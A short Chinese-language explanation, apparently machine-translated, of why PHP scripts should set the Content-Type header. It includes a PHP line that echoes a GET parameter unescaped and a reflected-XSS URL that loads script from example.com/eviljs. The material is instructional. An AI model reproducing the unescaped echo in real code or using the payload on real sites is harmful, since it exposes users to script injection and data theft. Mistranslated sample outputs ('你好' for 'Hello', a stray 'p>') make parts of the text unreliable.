告诉浏览器您要发送的数据类型非常重要。 区别应该很明显。 尝试在浏览器中查看以下PHP文件的输出;
header('Content-Type:text/html');
?>
Hello
你会看见:
你好
(请注意,在这种情况下,如果您错过标题行,将会得到相同的结果-text / html是php的默认值)
将其更改为文本/纯文本
header('Content-Type:text/plain');
?>
Hello
你会看见:
你好 p>
为什么这么重要? 如果您在php脚本中有类似以下内容的内容,例如,供ajax请求使用:
header('Content-Type:text/html');
print "Your name is " . $_GET['name']
有人可以将链接放置到类似[http://example.com/test.php?name=%3Cscript%20src=%22http://example.com/eviljs%22%3E%3C/script%3E]的URL上 在其网站上,如果用户单击它,则他们会将您在网站上的所有信息公开给任何提出该链接的人。 如果将文件用作文本/纯文本,则很安全。
请注意,这是一个愚蠢的示例,攻击者很可能会将不良脚本标签添加到数据库中的字段或使用表单提交。